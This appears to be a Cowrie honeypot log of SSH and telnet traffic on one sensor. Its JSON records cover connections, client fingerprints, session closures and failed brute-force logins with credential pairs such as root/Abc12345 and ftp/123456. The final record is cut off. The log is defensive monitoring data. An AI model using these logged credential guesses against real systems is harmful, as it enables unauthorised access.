{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:33:59.049962Z","src_ip":"45.153.34.112","session":"521dafc01adf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.238.160.191","src_port":54370,"dst_ip":"10.17.0.5","dst_port":22,"session":"b8f2217259a3","protocol":"ssh","message":"New connection: 170.238.160.191:54370 (10.17.0.5:22) [session: b8f2217259a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:33:59.706572Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:33:59.711121Z","src_ip":"170.238.160.191","session":"b8f2217259a3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:33:59.836875Z","src_ip":"170.238.160.191","session":"b8f2217259a3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nizar","message":"login attempt [root/nizar] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:34:00.358190Z","src_ip":"170.238.160.191","session":"b8f2217259a3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.66.52.41","src_port":63850,"dst_ip":"10.17.0.5","dst_port":22,"session":"1e38f547290a","protocol":"ssh","message":"New connection: 45.66.52.41:63850 (10.17.0.5:22) [session: 1e38f547290a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:34:00.925671Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:34:00.931923Z","src_ip":"45.66.52.41","session":"1e38f547290a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":34894,"dst_ip":"10.17.0.5","dst_port":23,"session":"9f635b040cb9","protocol":"telnet","message":"New connection: 192.119.13.58:34894 (10.17.0.5:23) [session: 9f635b040cb9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:34:01.048940Z"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:34:01.107647Z","src_ip":"45.66.52.41","session":"1e38f547290a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":46328,"dst_ip":"10.17.0.5","dst_port":22,"session":"b0f57f496a8f","protocol":"ssh","message":"New connection: 45.153.34.112:46328 (10.17.0.5:22) [session: b0f57f496a8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:34:01.151877Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:34:01.156881Z","src_ip":"45.153.34.112","session":"b0f57f496a8f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:34:01.239105Z","src_ip":"45.153.34.112","session":"b0f57f496a8f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:34:01.484555Z","src_ip":"170.238.160.191","session":"b8f2217259a3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Abc12345","message":"login attempt [root/Abc12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:34:01.491651Z","src_ip":"45.153.34.112","session":"b0f57f496a8f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aA123123","message":"login attempt [root/aA123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:34:01.972855Z","src_ip":"45.66.52.41","session":"1e38f547290a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.43091106414795,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:34:02.147649Z","src_ip":"192.119.13.58","session":"cf902311aa98","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:34:02.576747Z","src_ip":"45.153.34.112","session":"b0f57f496a8f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:34:03.150285Z","src_ip":"45.66.52.41","session":"1e38f547290a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"116.110.15.216","src_port":60996,"dst_ip":"159.203.135.109","dst_port":22,"session":"be74f069195d","protocol":"ssh","message":"New connection: 116.110.15.216:60996 (159.203.135.109:22) [session: be74f069195d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:34:04.801123Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":46336,"dst_ip":"10.17.0.5","dst_port":22,"session":"0723f3dbc23b","protocol":"ssh","message":"New connection: 45.153.34.112:46336 (10.17.0.5:22) [session: 0723f3dbc23b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:34:04.809734Z"}
{"eventid":"cowrie.session.closed","duration":50.216309547424316,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:34:04.841135Z","src_ip":"192.119.13.58","session":"d609d3837ded","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:34:04.848394Z","src_ip":"45.153.34.112","session":"0723f3dbc23b","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-AsyncSSH_2.1.0","message":"Remote SSH version: SSH-2.0-AsyncSSH_2.1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:34:04.899624Z","src_ip":"116.110.15.216","session":"be74f069195d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:34:04.916905Z","src_ip":"45.153.34.112","session":"0723f3dbc23b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftp","password":"123456","message":"login attempt [ftp/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:34:05.216306Z","src_ip":"45.153.34.112","session":"0723f3dbc23b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:34:06.302420Z","src_ip":"45.153.34.112","session":"0723f3dbc23b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"106.251.244.178","src_port":45792,"dst_ip":"10.17.0.5","dst_port":22,"session":"79ccebbbc63e","protocol":"ssh","message":"New connection: 106.251.244.178:45792 (10.17.0.5:22) [session: 79ccebbbc63e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:34:06.644392Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:34:06.648715Z","src_ip":"106.251.244.178","session":"79ccebbbc63e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:34:06.858789Z","src_ip":"106.251.244.178","session":"79ccebbbc63e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":58688,"dst_ip":"10.17.0.5","dst_port":23,"session":"87756ce805e1","protocol":"telnet","message":"New connection: 192.119.13.58:58688 (10.17.0.5:23) [session: 87756ce805e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:34:06.995998Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":60778,"dst_ip":"10.17.0.5","dst_port":23,"session":"c4b0d4bd4577","protocol":"telnet","message":"New connection: 192.119.13.58:60778 (10.17.0.5:23) [session: c4b0d4bd4577]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:34:07.590946Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"on123","message":"login attempt [root/on123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:34:07.727983Z","src_ip":"106.251.244.178","session":"79ccebbbc63e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":46352,"dst_ip":"10.17.0.5","dst_port":22,"session":"b59a20481b1c","protocol":"ssh","message":"New connection: 45.153.34.112:46352 (10.17.0.5:22) [session: b59a20481b1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:34:08.309539Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:34:08.317516Z","src_ip":"45.153.34.112","session":"b59a20481b1c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"fda360b1b4f4d3455cb75c6e7edb1d11","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","curve448-sha512","ecdh-sha2-nistp521","ecdh-sha2-nistp384","ecdh-sha2-nistp256","ecdh-sha2-1.3.132.0.10","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha256","diffie-hellman-group15-sha512","diffie-hellman-group16-sha512","diffie-hellman-group17-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","rsa2048-sha256","rsa1024-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519-cert-v01@openssh.com","ssh-ed448-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-ed25519","ssh-ed448","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","ecdsa-sha2-1.3.132.0.10","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","arcfour256","arcfour128","arcfour"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-sha2-256-96-etm@openssh.com","hmac-sha2-512-96-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-md5","hmac-sha2-256-96","hmac-sha2-512-96","hmac-sha1-96","hmac-md5-96"],"compCS":["zlib@openssh.com","zlib","none"],"langCS":[""],"message":"SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:34:08.368747Z","src_ip":"116.110.15.216","session":"be74f069195d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:34:08.398977Z","src_ip":"45.153.34.112","session":"b59a20481b1c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.26370453834534,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:34:08.424451Z","src_ip":"192.119.13.58","session":"5c05fd952dbf","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"nobody","password":"nobody","message":"login attempt [nobody/nobody] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:34:08.644298Z","src_ip":"45.153.34.112","session":"b59a20481b1c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.01960754394531,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:34:08.775176Z","src_ip":"192.119.13.58","session":"26a95f3d1268","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:34:08.940848Z","src_ip":"106.251.244.178","session":"79ccebbbc63e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.130.36.39","src_port":40434,"dst_ip":"10.17.0.5","dst_port":22,"session":"f3c887e698b3","protocol":"ssh","message":"New connection: 43.130.36.39:40434 (10.17.0.5:22) [session: f3c887e698b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:34:09.397270Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:34:09.402268Z","src_ip":"43.130.36.39","session":"f3c887e698b3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-s